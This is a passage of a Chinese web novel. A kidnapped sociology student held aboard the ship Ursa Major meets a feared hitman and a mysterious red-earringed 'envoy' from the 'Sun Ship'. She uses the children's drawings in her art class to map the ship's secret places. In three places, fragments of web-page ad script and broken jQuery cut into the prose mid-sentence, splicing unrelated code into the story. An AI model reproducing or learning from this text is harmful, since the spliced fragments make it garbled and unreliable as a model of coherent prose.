“是真的啊!”马德鲁信誓旦旦地说,“有些船老得很,还是木头造的呢,要是在海上碰见了,远远地就能听见老船嘎吱嘎吱地响。有些船是骨船,用巨鲸的骨头造的,在海里横行无忌,小鱼小虾根本不敢接近。有些船是水做的,就像一个漂在水面上的大浪……” 越说越离奇了。 温知和说,“你见过么?” “没有。” “你没见过,怎么知道是真的?” “你也没见过啊,”马德鲁说,“怎么知道就不是真的?” 说话间,两人正走在大熊星座号第二层的露天外廊上。是吃过了饭的午休时间,随意走走,权当是助力消化。 转过一个弯,正前方迎面走过来一个人。温知和停下了脚步,马德鲁的笑也忽然收敛了,手下意识地背在身后,十分拘谨。 那人并不陌生。 是那个开着警车把她绑架来的假警察络腮胡男人,眉目间总有点不耐烦的神色。这样的危险人物,原来也在这艘船上。 温知和心里一阵阵发凉。 他在大熊星座号上是做什么的? 男人走近了。宽大的影子如同一堵墙,黑压压地遮住了光。他看着比之前疲惫了不少,衣服甚至有点脏。 他在船上定然名声不好。马德鲁吓得连头也没敢抬,嗫嚅着用马来语和对方打了个招呼。他没理。 距离越来越近,面对面了。 男人在温知和面前停下,这刹那间,她下意识地发现自己挡了路,往旁边侧身退了一步——他目不斜视,就这么走了过去。好似他们一大一小不过是路上的装饰物。 什么也没有说。什么也没有做。阳光依然暖暖地照在前路上。 马德鲁松了一口气。 温知和道,“马德鲁,那是谁?” 马德鲁小心翼翼地回头望了望男人离去的方向。都这么远了,对方早就什么都听不见,孩子的声音却还是压得很低。“纳姆……我听说他是负责做——”孩子伸出食指往脖子上抹了一下,“这种事的。” 温知和不由说,“果然……” 她的反应令马德鲁感到惊奇。“叽和老师认识纳姆?”看他反应,大概这艘船上的一般民众并不知道她是被谁抓来的。 温知和给自己打了个掩护,“噢,不认识。不过他看上去就很像做危险事的人。” “是吧!”马德鲁并没有怀疑什么,“纳姆就是那样啊。我们小时候,有些大人吓唬人的时候就会说……”他一根手指竖在嘴前,语气拖得很长,把大人们危言耸听的模样学得活灵活现,“要是不听话……就把你……送给纳姆……” 这句话说完,温知和倒没什么,反而他自己又把自己吓了一跳,浑身抖了抖。马德鲁摇着头强调说,“总之千万、千万不要惹他。听说他最近心情糟糕透了,很恐怖的。” 温知和抓住一个关键词。“最近?” “嗯是啊,就这几天。听说他莫名其妙就发脾气,还打人。” “是出什么事了吗?” 马德鲁左顾右盼。四下里都没人。他踮起脚尖,在温知和耳边悄悄道,“听说是因为哈撒死了。可能你不知道哈撒是谁……” 马德鲁的声音压得很低,谨慎是谨慎的,却又有点洋洋自得的语气——瞧瞧,老师再厉害,也还是有不少只有他知道而她不知道的事。这就是原住民的优势。他卖弄知识似的,倒出了一连串的事。 “哈撒是纳姆的亲哥哥,以前也是我们大熊星座号的人,特别聪明,好多人都很崇拜他呢!后来哈撒就被选中去太阳船上了。大家都说纳姆本来今年也要去太阳船了的,因为他哥哥哈撒在那边很厉害……”估计是事情比较复杂,马德鲁一时半会不知道怎么用英文表达,呃呃呃了一阵,吐出几个难得想到的词,“可以罩着他。” 温知和本想再从马德里嘴里套一点信息出来,偏偏人吃饱喝足容易困,一边说一边走,没几步,孩子打着呵欠,非说要睡午觉去了。 马德鲁一走,这条空空荡荡的长廊上便只剩下她一个人。 阳光热烈照在脸上,有点刺眼。像这样一个无人防备的地方,如果是在陆地上,大概她一翻过栏杆就能跑走了。附近都没人看见。 偏偏这里是海上。栏杆外面没有自由,只有无尽的海水。一道道连绵的波浪,仿佛一扇扇不可逾越的铁门。极目望去,没有陆地的踪影——就算是有,也不过是让人更绝望。那么远,又不可能游过去。 海风里忽传来一阵低沉的钢琴声。 不过,与其说那声音是音乐,倒不如说是单纯的乐器声响,它断断续续地有一下、没一下,仿佛是钢琴困了,打呵欠时吐出来一串泡泡。 温知和好奇,朝着那声音传来的方向走去。沿着长廊前行,又上了旋转的楼梯,这么走着,潮湿依旧的海风里钢琴声越来越清晰。 声音的尽头是三楼的一间杂物室。 门半开着,里面凌乱堆砌着的东西上大多罩着白布,这让整个房间仿佛被一道道高低起伏的白浪填满,那白反射着阳光,亮得刺眼。可若是细看,有些白布没罩到的地方露了不少底下的东西,都很旧,破鱼篓、裂了口的铁锅、缝纫机、簸箕、打着补丁的老衣服……早已褪去了颜色,到处爬满岁月的痕迹,好像旧时代遗骸。 屋子正中间阳光最盛的地方,是一架老旧的黑棕色三角钢琴。钢琴前的人说不上陌生,他没有弹琴,只是漫不经心地敲着琴键,左耳下艳丽的赤红耳钉大抵是这屋子里唯一鲜活的色彩,如同白雪中的一抹血色。 温知和从小便被教育得礼貌,这时见了青年,下意识地便要开口打招呼。却在下一秒发现—— 她根本不知道他的名字。 青年眼睛一抬,看了过来。温知和不知为什么觉得有点尴尬,扯出一个场面上的笑,说,“中午好。” “……” 青年没说话,视线收回去又落在老钢琴上,手指微微一动,又敲了几个琴键。不成曲调,不含深意,不过是敲着玩。 温知和忽然想起上一次见面说的是晚上好。 ——晚上好。 ——中午好。 ……也许下一次就该说早上好了。 青年缓缓地说,“中午好。” “……” 他头也没抬。“你还在啊。” “……你听上去似乎是觉得,我早就应该被丢进海里喂鱼了。” “你看上去比上个星期还瘦了些。鱼不喜欢吃这样的。” 他说话时,随他手指下的动作,钢琴音一下一下响荡在空气里。轻轻震击着心脏。可这里不过是一艘海上的旧船,不是校园里撒满阳光的音乐教室。 温知和刻意去看周围那些被白布遮盖的东西,看了一阵,才说,“你喜欢弹钢琴啊。” “我看上去像是会吗?” “不像。” “所以为什么还要问?” 他真够会说话的。 “……”温知和生硬地转移话题,“挺意外的,这艘船上原来还有钢琴。” “杂物而已,平时没人用。” “噢……” “喜欢?” “倒也没有。我不会弹钢琴,我学的是古筝。” 青年竟停下来,颇为认真地想了想,然后说,“这里没有古筝。” “……没有要的意思。” “这样啊。” “……” 跟他聊天是酷刑吧。 温知和不说话,青年也便不再开口。 她偏着头,把视线牢牢锁定在旁边那些根本不重要的杂物上,用力想着——看啊它们的形状多有意思、天啊这里灰尘好大、救命啊我怎么还在这里…… 她一向是那种极为礼貌的人,有一些与人相处的事情早已成了习惯。例如,做那个在冷场时活跃气氛的人,恰到好处地带出新话题,让大家都参与进来,谁也不被边缘化。可眼前这个场景实在是—— 太难了。 迄今为止,这位尚还不知姓名的青年,她也不过见了五次吧。 第一次在火车上,她先是让包里的东西掉下来砸了他的脑袋,继而又抢占了他的位置。实实在在地尴尬了一把。 第二次便是在这艘船上。他审问她来历,她饿得不行,头还晕,根本不在状况里。 第三次是黄昏时的甲板。他手里夹了一只没有抽的香烟,她简短问了个好。好在那次时间够短,没来得及发生任何令人扼腕的事。 第四次便是在这杂物室。聊天聊天,沉默的尴尬占了快一半的时间。她怨恨自己是个礼貌人。 两个人碰面就没有一次是正常的。 想到这里,温知和数了数……这才四次。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 那第五次——她忽然想起是在梦里。 她梦见过他。是在家乡淮市的湖畔公园,按下快门前看见他站在树底下,可一抬头,树下空空荡荡,根本没有他的影子。那么简短。即使在梦里,这个人的出现也只在抬眸间的一刹那。 那时……从那个梦里醒来的时候,她还在义工之家陈设简陋的小房间里呢。那个时候,她满心想着的都是义工之家的工作和明天该去哪里玩,安安全全地徜徉在日常生活里,根本想不到会发生后来的事。 温知和打破沉默。游移已久的视线,终于凝注在青年身上。“你到底是什么人?” 青年没有看她,但敲着琴键的手停了下来。没了钢琴声,杂物室里变得极安静。他说,“我?” 温知和直白地说,“大熊星座号是一个漂浮在海面上的村庄。水手、厨师、医生、教室里的孩子……都是普通的村民。戴尔蒙徳管事那样的,就像是村庄里的官员……不对,纠正一下,更确切地说是公务人员。他没有一锤定音统领他人的权力,有的只是为大家安排日常工作的责任。除此之外,听说还有杀手一类的特殊角色,”温知和说,“不管怎么样,这里面好像没有你的位置。” 青年微笑着听她说完,等到她最后的话音落下,才轻轻合上了三角钢琴的琴盖,又不紧不慢地重新给它罩上了白布。 他说,“挺厉害啊,小侦探。你才来了几天,就知道那么多事了?” “回答我的问题。” “我是谁,对你来说并不重要。” “你们把我抓到这里来,现在到底有什么打算?” 她的眼神里越来越戒备,他却始终从容,一面说着,一面做着手里的事。好像这不过是一场无关紧要的闲话。 他说,“从一开始我就说了,你不归我管。我只是恰好住在这艘船上。出于礼仪,偶尔出席一些场合而已。” “你的意思是,你是观众?” 青年好像没听见。他仔仔细细地把罩着钢琴的白布检查了一遍,确认到处都罩得够严实,灰尘落不进去。然后,他用一句话堵住了温知和的咄咄逼人。“你今年大几了?” 温知和一时没反应过来。 这个问题太——“正常”——了。它是在陆地上时,她时常会被问到的问题。家里亲戚会问,爸妈的朋友们会问,旅游时聊得投缘的陌生人会问。可它出现在这里实在格格不入。这里的人在意的是今天捕了多少鱼、天边的云意味着明日有怎样的天气、附近水面上露出的一截黑色三角究竟是鲸群还是鲨鱼……而不是,“你今年大几了”。 她的声音低下去。“大二。” “也对,十九岁。”不知青年究竟在想什么。他往窗外看去,那是阳光漏进来的地方。“学的是什么?” “社会学。” “暑假作业写完了吗?” “……喂!” 一阵突兀的响铃。 青年接了一个电话。他回话时用的是相当标准的马来语,声音很低沉,仿佛忽然间换了个人。明明阳光就照在他脸上,却让人觉得他站在阴影里。 电话挂断了。 温知和若有所思地说,“船上……还能打电话?” 她视线一直落在那只手机上。 青年道,“包括我手里的这个在内,船上的通信设备一共只有三台。每一台背后都有人24小时监听。如果做了什么不该做的事,海里的鱼就只好勉强尝尝你了。” “……我不是小偷。” “嗯。” 青年朝着温知和走了过来。 但并不是为了和她进一步说话,只不过,是要离开这间杂物室。他们不熟,不过见了五次——四次,连再见也不必说。他从她身边径直走过去了。 过了一段时间,温知和转头看去时,那个神秘的青年早就不见了。 她忽然发现自己方才和他说话的时候,有一种在别处都没有的异样的安全感。明明,孤身在险境,就连和马德鲁那样的小孩子说话时,她也会谨慎计算着索问信息的节奏,避免引起马德鲁的怀疑。可面对一个远远比马德鲁心智成熟、危险得多的成年人,她却好几次直言不讳,不加遮掩。 或许是因为…… 和他说话的时候用的是母语。最亲近,最熟悉,让人不设防。 满船都是面孔陌生的原住民,说着她听不懂的语言,做着她不了解的事。偶尔那么两个能说些英文的,说起话来也不很利索。他们都和她隔了一层。 只有那个连名字也不知道的青年,以母语为联结,是这艘船上唯一一个真正能和她交流的人。 8. 第八章 温知和下一次碰上青年,时间隔得很短,才四个多小时。那时她刚在厨房门口的廊道上排完队,端着饭碗从饥饿的人群里挤出来,脚下一滑,差点还洒了汤。 一抬眼,就在远处的人群里看见他。 不是她眼神太好,而是青年每走到一个地方,周围的船民们便会不自觉地让出一段距离。 他穿了一件很简单的黑色T恤。似乎就是她第一次在火车上见到他时的那件,领口宽宽的,露出脖颈延至锁骨之下的几道弯曲疤痕。 他是人群注意力的焦点,却没人开口和他说一句话。 温知和肩上忽有一阵推力,身后有小孩子脚滑往前扑了一下,正好撞了她。她手里的碗一下子拿得不稳,一阵手忙脚乱,还好是把东西护住了,没洒出来。等这桩小小的意外平复下来,再往刚才的方向看过去,青年已经不见了,只剩下吵嚷拥挤的人群。 温知和自己到食堂里找了个偏僻位置坐下来吃完了饭,又和大家一样把餐具送到清洗处去,便洗了手,踱到外廊上散步。 正是夕阳西下时分。四周罩着蒙蒙的暮色,海面上泛着光。大熊星座的点线旗帜在高远处随风飘扬。 她低头往下望,无意间,又看见了青年。 他在甲板上。 乘小船出去捕鱼的水手们每天都差不多是在这时候回来,甲板上忙碌得很。趁着太阳还在,小船要归位,渔网要拉上来,人挤人的,好多活儿要干。 他顺手帮他们搬了几个大箱子。 八月是海上最热的时候。 他身上也出了汗,有人递来干净毛巾,他随手接了,擦了额头脖颈。所剩不多的夕阳在他身上笼了一层光,带着夏日里的潮湿气息。 他似乎察觉到什么,抬眼往上面看过来。 温知和转身就走了。 - 温知和每天在小学校教孩子们画画,起初还是一笔一笔地教,她画一点,就看着他们画一点。谁要是画错了,她还特意去指正。 没几天她就不画了。出个主题,让孩子们拿着水彩笔自由发挥。画成什么样都行。 这可不是偷懒。 ——老师的偷懒,能叫偷懒吗?分明是甘愿放手,让学生们有更充分的自由发展空间。 孩子们对着白纸乱画一通的时候,温知和就坐在窗边晒太阳,有时候想着家里的事,有时候打个盹。一同在教室里的还有几个马来老师,偶尔也会过来坐在一起。虽然大家语言不通,但指指外面晴朗的天气,或是太热了用手扇着风,嘴里嘟哝几句,倒也还能相视笑笑,知道是什么意思。 若是放在一个正常的地方,这些时刻或许会闪着光,是值得定格怀想的生活细节。 可是……她只想回家。这里的天气再好,每一秒也都是煎熬。 这天,温知和通过马德鲁尽心尽责的翻译,又给孩子们定了一个画画主题。完完全全随心所欲,根本就是一拍脑门决定的。 ——这艘船上最厉害的人。 什么叫“厉害”?不同人有不同的解读。因此孩子们画的对象五花八门,有的画了一身紫不溜秋的戴尔蒙徳管事,有的画了自己家的长辈,有的画了奇形怪状的海里巨兽。 还有人画了温知和。歪歪扭扭的画笔,先是画了一个椭圆,这叫头;又画了一个更大的椭圆,这叫身体;再画四条乱飞的线,这叫四肢;最后还有五官,那更好办,点两下就是眼睛,一道弯就是嘴。温知和对着纸上这只怪物,挤出笑容说画得真好。 不过,这么多作品里,被画得最多的是一个在甲板上的人。倚着栏杆,手里夹着烟,左耳底下总有一抹红。 以他做人物的画,百分之七八十都是这幅场景。当然也有别的。 这个戴着红耳钉的青年—— 在歪歪扭扭的铅笔画里,他出现在人来人往的食堂。地上坐着个哭不停的孩子,他俯身递了一个削得像小动物的可爱苹果。孩子怕他,根本不敢接。 在五彩绚烂的水彩画上,他出现在阳光明媚的小岛。大熊星座号停在岸边,背景里的船民们似乎正与岛上的人做交易,他坐在沙滩上眺望远方,海鸟在他身旁嬉闹。 还有那间有钢琴的杂物室。周围的事物都被白布遮着,像高低起伏的白色海浪,他在海浪的中央,弹着陈旧的琴。 一幕幕场景,仿佛一只只望远镜,窥见了那人的过往曾经。 温知和忽然想起自己至今还不知他的名字,于是点着收上来的画,若无其事地说,“大家画得最多的是这个人。我也见过他。不过,他是谁呀?“ 马德鲁把她的问题翻译转达 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 之后,孩子们为了在老师面前表现,你一声我一声地答了起来,教室里忽然间便乱哄哄的。 温知和根本听不懂他们在说什么。 马德鲁平时在她与孩子们之间做翻译都还挺顺利的,这会儿却好像有点犯难。他好几次张口想说点什么,却又转头和旁边的同学们嚷嚷起来,好似在争论。看起来,似乎关于那个人的名字和身份,大家并没有统一的答案。 很久以后,吵嚷声终于平复下去,马德鲁一锤定音开了口。 “他是——‘使者’。没有人知道使者的名字。”说到这里,他悌了一眼坐在后排的几个同学,“有些笨蛋会以为‘使者’就是名字。但那不是名字,只是我们都这样叫而已。他是从太阳船来的‘使者’。” “太阳船来的使者……”温知和琢磨着这几个字背后的意思,“是干什么的?” “不知道。” “他做过什么很了不起的事吗?” “不知道。” 温知和忍俊不禁,“这也不知道,那也不知道,还把他当‘最厉害的人’画下来?” “我哪知道?又不是我画的。”马德鲁嘟哝了一句,朝着那些画了青年的孩子们嚷了几声,大概是问他们干嘛画那个神神秘秘的人。得了答案以后,马德鲁脸上露出鄙夷的神色。 “真肤浅,”他说,“他们说因为他长得最好看。” - 温知和收了孩子们的画,越看画了青年的那几张越觉得好玩,一时兴起,很想找当事人说说“你知道船上的小孩子是怎么画你的吗”、“为什么这些画里你总是在甲板上啊”、“你是固定刷新在甲板上的NPC吗”……然后,看看他的反应。 可惜他实在是个神出鬼没的人。那天一下子碰见两次之后,一连好几天,他连影子也没出现,简直像船上根本没有这么个人。 幸运的是她在别的方面有所收获。 这个收获是:灵机一动。 通过让孩子们画“船上最厉害的人”,她得知了青年的身份。那么,如果再画些别的……孩子们年纪虽小,在船上度过的岁月却比她长。 他们知道船上的许多秘密。而且,正因为年纪小,未必辨别得了什么是人尽皆知的常识、什么是不可告人的秘密,有什么……也许就说什么了。 9. 第九章 为了套出更多秘密,温知和精心挑选了这天的绘画主题:这艘船。 教室里安静下去,因是熟悉的地方,孩子们都画得挺投入。一张张画纸上天马行空,有无穷无尽的创造力,五彩的线条在纸上弯来横去,大片的色块铺洒,像万花筒里的景象。 如温知和所想,画里的确会出现某些值得注意的东西。 有一个孩子的画上,船虽漂亮,桅杆顶端却七零八落地立着黑色的人影,有如异教的神秘符号。 还有一个孩子的画上,整体看来分明是五彩斑斓的,船也很漂亮,却有几个角落特意用怪异的黑线团抹掉了。 又有一个孩子,在海水里画了个大而扭曲的影子。那不是别的,是大熊星座号的旗杆从中折断,星点与折线的旗帜砸倒在水里,天上的海鸟与水里的游鱼都围聚过来,宛如围着尸体的秃鹰。 画这些画时,孩子们看上去和平时没什么不一样,时不时还会和周围的玩伴推推搡搡,嬉笑打闹。显然并没觉得画里有什么不正常的东西,也没有刻意哗众取宠。 ——画,是潜意识的表达。 ——孩子,又最不懂得遮掩。 他们一定曾经看见了什么、经历了什么、知道了什么……才会画出这样的东西来。如果说绘画是一种表达,那么,每一幅画里都正是童言无忌。 温知和不动声色,像往常那样对孩子们笑,让他们知道自己是在夸奖他们画的好。大家都挺高兴,有一些年纪特别小的,抓着画笔,咧着刚长齐一口小白牙的嘴冲她笑。 温知和通过马德鲁颇有责任心的翻译,又给大家出了几个进一步的细化主题。 1、船上我最喜欢的地方。 2、如果要去船上的某个地方探险,我会选择…… 3、如果真要去那个地方探险,我认为可能会发生…… 越往后,刺探消息的意图就越来越明显了。温知和的心有点提起来,时不时借余光瞅着教室里那几个马来老师的动静,生怕他们察觉到不对劲。 还好。他们只是坐在船边晒太阳,低声聊着天。 孩子们更是没什么心眼,面对这些需要动动脑子的绘画主题,一个个都认认真真地想了起来。想好了,就抓起画笔又开始画。 一笔。一笔。 一张张白纸上,也许,一个个有待探索的秘密正渐渐成型。但也说不定是徒劳无功,小孩子胡乱画一画也是常有的。 温知和没受过专业训练,心里有点紧张,不自觉地在教室里踱来踱去。别人没觉得什么,她自己先就觉得这样有点可疑。 索性也坐了下来,自己也画一张,权当转移注意力打发时间。 她也画了这艘船。 细细的铅笔在纸上渐渐绘出大熊星座号的大致轮廓。宽大的船身,高高的桅杆,鼓满了的风帆,死板的旧时代气质。基调是灰暗的。线条是锋利的。深深浅浅的阴影。 简直像一艘鬼船。她又不喜欢这里。 画完了船身,又拿彩铅画背景。大海无边无际,茫茫的波浪像数不尽的铁闸门,将船死死地困在中间。 然后画太阳。 不知为什么,她把太阳画在了天际线上。半个圆,是夕阳时分。因此海面上要有光,金灿灿,明晃晃。船上也会有光。 画着,画着,因这夕阳,画中的气氛变得宁和。 等她回过神来,她已在甲板上加了一个人。倚着栏杆,手里夹着烟,左耳底下有一抹比太阳更浓烈的红。 他站在夕阳里。夕阳,如同在向他告别。整个天地间也没第二个人。 “叽和老师!” “……啊?” 温知和抬起头来。大家都还在画,可半个教室里的孩子们都显得有点蔫巴。马德鲁咬着笔,有点委屈地说,“该吃晚饭了。” “噢,那就先下课吧。大家去吃饭,没画完的明天再说。” 马德鲁一句话转达,教室里一下子就有了放学的气氛,一时间,合笔帽的声音、推拉椅子的声音、大声交谈的声音混杂在一起。不到十秒就已经有人冲出了教室。 温知和转身看向窗外。 外面也已是黄昏时分,如同她刚才在画里画的一样,海面上有光,金灿灿,明晃晃,太阳只在遥远的天际线上留下半个圆。大熊星座号沐浴着这样的斜阳,在广阔的大海中乘风破浪。 她出门走到长廊上,向下眺望甲板。好多人。这个时间点,乘小船出去捕鱼的水手们又回来了,拉船的、搬东西的、清点人数的,乱糟糟一片吵嚷。 可是,虽然大致的景象同她画里一样,却有一个最显著的不同。 甲板上人来人往,那个有红色耳钉、手里夹着烟的人并不在那里。不知道他去哪里了。 - 耗费了整整两天时间,孩子们的这一批画终于是画完了。 入夜后,温知和在自己的小舱室里打开了旧台灯,一张张审视着收上来的画作。灯不好使,一闪一闪的,她只好眯着眼睛看。 先是第一批,主题最简单,就是“这艘船”。 她在记录本上轻轻涂涂写写,整理统计每一幅画里值得关注的地方。 ——画上有被黑线团遮挡的地方。位置:顶楼尾端。 ——桅杆顶端有人影。 ——画上再次出现被黑线团遮挡的地方。位置:顶楼尾端。同类型现象累计两次。 ——画上有用红叉标记的地点。位置:二楼中央。 ——船尾画得很宽,船头画得很细。 ——船身后有形状怪异的海浪。(涂抹掉了)(批注:看错了,是云……) …… ——画上再次出现被黑线团遮挡的地方。位置:顶楼尾端。同类型现象累计四次。 这批儿童画看完,温知和把自己画的那幅平摊在桌子上,用作标记的基底。凡是在孩子们的画里出现过三次以上的事物,她统统在图上标了出来。 二楼中央。 顶楼尾端。 桅杆。 这几个地点一再以奇特的面貌出现,一定有不寻常之处。 接着是第二批画作,主题是“船上我最想去的地方”。 最受孩子们欢迎的两个地点是厨房和甲板。厨房,大概是因为可以偷东西吃。他们会画堆成小山的美味食物,也会画一手拎着棒子一手叉腰骂人的厨房婆子。至于甲板,大概是因为可以晒太阳。 很多孩子的甲板画上仍会出现那个倚着栏杆的人,他简直像甲板上的一座标志性建筑物。由于小画家们的画工太稚嫩,每一张图上那人的身高、手脚比例和衣着都不太一样,但他们很善于记住那人最明显的特点——左耳下一抹鲜红。那是他的耳钉。 除了这抹鲜红,他手里总是会有一根烟。但在任何一幅画中都只是拿在手里,从来没有抽过。 再然后是第三批和第四批,主题是探险。禁忌之物引人恐惧,却也让人好奇。一张张看下去,很多孩子果然画了她前面察觉到的那几处“禁地”。 对于“二楼中央”,孩子们有的把它画成了金光闪闪的珠宝室,有的把它画成了堆满牛奶和蜜的丰腴之地,有的把它画成了五彩流泻的绮丽花园,门外有高大的怪物把守…… 温知和写下这些场景的共同之处:丰盛、珍贵的资源、外有警戒。 对于“顶楼尾端,孩子们有的把它画得漆黑一片,有的把它画成了烈火燃烧的鬼怪乐园,有的画得意外传神,屋子里并排坐了几个面色阴沉的男人,其中一个竟显然是戴尔蒙徳管事。 温知和想了想,也写了三个关键词:恐怖、残忍、权力。 对于“桅杆”…… 温知和丢了笔,靠在椅背上深深打了个呵欠。 不知是不是短时间内画看得太多,大脑用力过度、开始疲劳,这些与桅杆有关的画好像还真是各有各的风格,看不出什么共同之处。 这时候夜已经很深了。桌前的小舷窗外,大海深沉,满天星斗。好安静。 她发了一会呆。 世界好像暂停了。海面上空无一物,天幕上星星静止。船的摇晃是轻微的。不管竖着耳朵怎么听,外面没有声音,心里也没有声音。 好奇怪。 明明此时此刻,想回家的心愿和往常一样强烈,费尽力气分析那么多画也不过是要寻找逃离的希望,可是,怎么脑海里那些与正常世界有关的记忆好像罩上了一层雾,变得不真实了? 就好像踏入了镜子里。回身望去,从前那个世界里的一切明明都还在,却已是不可触碰的另一端。 温知和不愿在这种怪异的静止状态里沉沦下去,索性起身出了门。深夜的海上有些凉,除了甲板上几盏聊胜于无的灯,到处都黑漆漆的。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 但她竟不是一个人。这么晚了,甲板栏杆上还倚着一个人。他手里夹着一只香烟,不过这次没有橙亮的光点,因为已经燃尽了。 温知和不由有点想笑。消失了那么久,这个固定点位的NPC还是刷新出来了。 青年听见脚步声,抬眼看过来。身侧的灯恰映在他脸上,他没有表情。但海风吹着他微微自然卷的黑发,显得有些生动。 温知和说,“你是甲板的旅游大使吗?” 青年道,“什么意思?” “你在甲板上的这个画面呢……”温知和用双手拇指和食指比出一个拍照的矩形框来,把青年框在里面,“很深入人心。你知道吗?” 青年又问了一次,“什么意思?” 温知和忍笑,想起那一幅幅甲板画上,这个人以各种不同形态出现的样子:有圆头圆身像个葫芦的,有细胳膊细腿像火柴人的,有五官皱在一起像表情包的…… 她不说话,走到他旁边去,双手支在栏杆上,抬头看天上的星星。由于憋着笑,眼睛里异常明亮。 青年并没有因自己没被搭理而变得不悦,只是耸耸肩,转过身去和温知和面朝着同一个方向,抬头看起了同一片星空。他说,“不说就不说。我不问了。” 隔了一阵,温知和忽然说,“那是北斗七星吗?” 青年道,“哪里?” 她指了指。“那里。” “你喜欢北斗七星?” “倒也没有。只是以前很少在天上看到这么多星星,基本上都不怎么认识。我可能只认得出这一种。” “你认错了。” “……噢。” 温知和只尴尬了一秒。首先这不是大事。其次在他面前尴尬也不是一次两次了。 青年道,“把手抬起来。” “啊?” “指着刚才的位置。” “噢。” 她依言而做。 青年又道,“往下一点。再往下一点。往左。左太多了收回来一点。” 她的手指在群星间转啊转。 终于,他说,“在这里。” 她顺着手指看过去。北斗七星。果然像勺子一样,那么清晰,那么明亮。 她望着它们目不转睛。“好奇怪啊。” “怎么?” “之前找了很久都找不到,怎么找都找不到。现在知道它们在那里,忽然觉得,原来那么明显啊……” 真的。一抬头就能看见了。像无序的乱流里唯一清晰的轮廓。像人海中忽然见到一个人。 她忽然听见他问,“现在的淮市很少能看见星星了吗?” 莫名听见家乡的名字,温知和一时半会没反应过来。“啊?” “你刚才说的——‘以前很少在天上看到这么多星星’。” “噢,是啊,是这样啊,”温知和俯身把下巴搁在手臂上,心里又起了惆怅的思乡之情,“高楼大厦和各种各样的灯越来越多了嘛,城市里从早到晚都挺亮的,星星简直就是稀有物品。” ——对了,说起来,被用来当作这艘船的名字的大熊星座又在哪里? 温知和正要说这一句,忽察觉身旁的青年异常地沉默着。 这种沉默,不仅仅是不开口说话的沉默,而是他的情绪产生了某种质性变化,周围产生出一种隔绝感。 她想起初次见面时的情景。那是在通往玻璃市的火车上,异国他乡,无数张异域面容中一张故乡的脸。 ——“诶……你也是中国人?” ——“嗯。” ——“不过…… ——“怎么?” ——“听上去好像有一些口音,虽然不是很明显……很久没有回国了吗?” ——青年没有立马回答。火车恰驶过一片树林,斑驳的光影落在他侧脸。“嗯。” 她记得她那时还同他分享了家乡的特产小零食,那是个老字号,名声只限于当地人。他接过去,那样自然地说出老字号的名字——“东湖记现在也还是很受欢迎么?” 温知和有点想问,你也是在淮市长大的吗? 可夜色深沉,对方的沉默不语,让所有问题都显得不合时宜。 她忽然觉得昏暗的甲板灯里,他脖颈下的那些疤痕如同一条条车辙,岁月的车将人从某处带往某处,留下只有当事人明了的痕迹。 10. 第十章 二楼中央。顶楼尾端。桅杆。 从孩子们的画里看来,船上的这三个地方背后藏着故事。确认了这一点,温知和便着手开始“调查”。 ——“调查”要打引号,她不是专业人士,没什么严谨的方案,不过是摸着石头过河而已。 她在这船上人生地不熟,警惕心重,生怕被人看出自己在搞调查,能不直问的都不直问。全靠拐弯抹角和偷偷摸摸。 第一个地方的真相来得很快,快得几乎让人有一拳打在了棉花上的感觉。 就在分析完画的第二天,温知和一大早上去食堂,特意没像以前那样走一楼的路,而是从二楼穿过去。 二楼中央。 靠近船体中部的位置,有一个实在显眼的房间。它的双开大铁门漆成了黑色,门板看上去相当沉重,上面还有繁复的雕花纹路。一把比巴掌还大的铜锁挂在外面,在阳光下闪着凛凛的光。 任谁看了都知道房间里藏着好东西。 温知和打量着紧闭的大铁门的时候,马德鲁正好也从这儿经过。她佯装无事,随口说这扇门真漂亮——然后孩子居然直接就说了。 “因为这儿是贡品仓库啊。” “……哦!”温知和心想,原来是贡品仓库啊。可是——她忽然眉头一皱,“贡品仓库又是什么地方?” 马德鲁还挺耐心的。“我们每个月要给太阳船上贡嘛,挨家挨户都得交东西,统一都是放在这儿的。” “原来如此……” 难怪孩子们会把这地方画成珠宝室、美食库、大花园,原来还真就是专门储存好东西的房间。而且看起来也不是什么秘密。 不过…… “上贡。”温知和念着这个词。 好浓厚的封建色彩。 “呃,”马德鲁摸着脑袋,“或者说,交税?这两个单词我分不清楚,应该差不多吧?反正就是隔一段时间要向太阳船交东西的意思。” “……” 总之第一个地方的谜题破解了。温知和回房间以后,在画着大熊星座号的图上标出了二楼中部的位置,旁边注明,“仓库”。 接下来是第二个地方,它在顶楼靠近船尾的位置。 温知和上船的时间已经不短,根据她的观察,顶楼的确是一个很少有人去的地方。食堂、医务室、教室、各式手工作坊,凡是这类重要的生活生产场所,全在下面几层。船民们的日常活动轨迹根本不涉及顶楼。 但去顶楼的楼梯也没关门上锁。 一日,她趁着饭后散步,走进楼梯间,若无其事地一层层往上走。路上不是没遇见人,但船民们各忙各的,没人管她。 过了三层,再继续往上走,周围的空气一下子就安静下来。上面一点声音也没有。温知和并未刻意放轻脚步,只做出是到处随意散散步的样子。 顶层到了。 阳光自天而落,分外明亮。温知和往地上看看,摸摸楼梯扶手,又四下里看过去。都挺干净的。显然每日有人来打扫。 这里不像是什么禁地。似乎,只是比较冷清而已。 温知和慢慢踱到走廊上。不知是不是巧合,扑面而来的咸湿海风比平日里在楼下吹的要大不少,一时间不适应,几乎有点睁不开眼睛。 太阳又晒。 到处都没人,空空荡荡的。走廊一侧的舱室门全是关着的,像一只只密闭的黑匣子;另一侧,楼底下传上来的人声像是被海风搅乱了,有点听不真切。 她慢慢往前走。 绕过一处拐角,出现了一个正在打扫卫生的中年妇人,衣着很简朴。不算面生。许多天以前温知和刚被绑到船上来,看见的第一个人就是她。 妇人听见脚步,抬头看了温知和一眼。仍是那样空洞的眼神。妇人什么也没说,又低下头去干自己的事了。扫帚划过地面,一阵又一阵,很有规律。 两人擦肩而过,背对背,距离再次拉远。 大熊星座号的规模并不大。不多时,温知和便走到船尾,找到了这最后一间舱室。 它大门紧闭,看上去平平无奇,与周围的其他房间没什么分别。看不出是做什么用途的房间。木门已相当陈旧,在经年的海风里泛着潮湿的颜色。 门锁倒是崭新的,亮白的不锈钢材质,很牢固的样子。温知和靠近了看,用手把锁轻轻提起来一点,门锁的金属表面映出她扭曲的倒影。 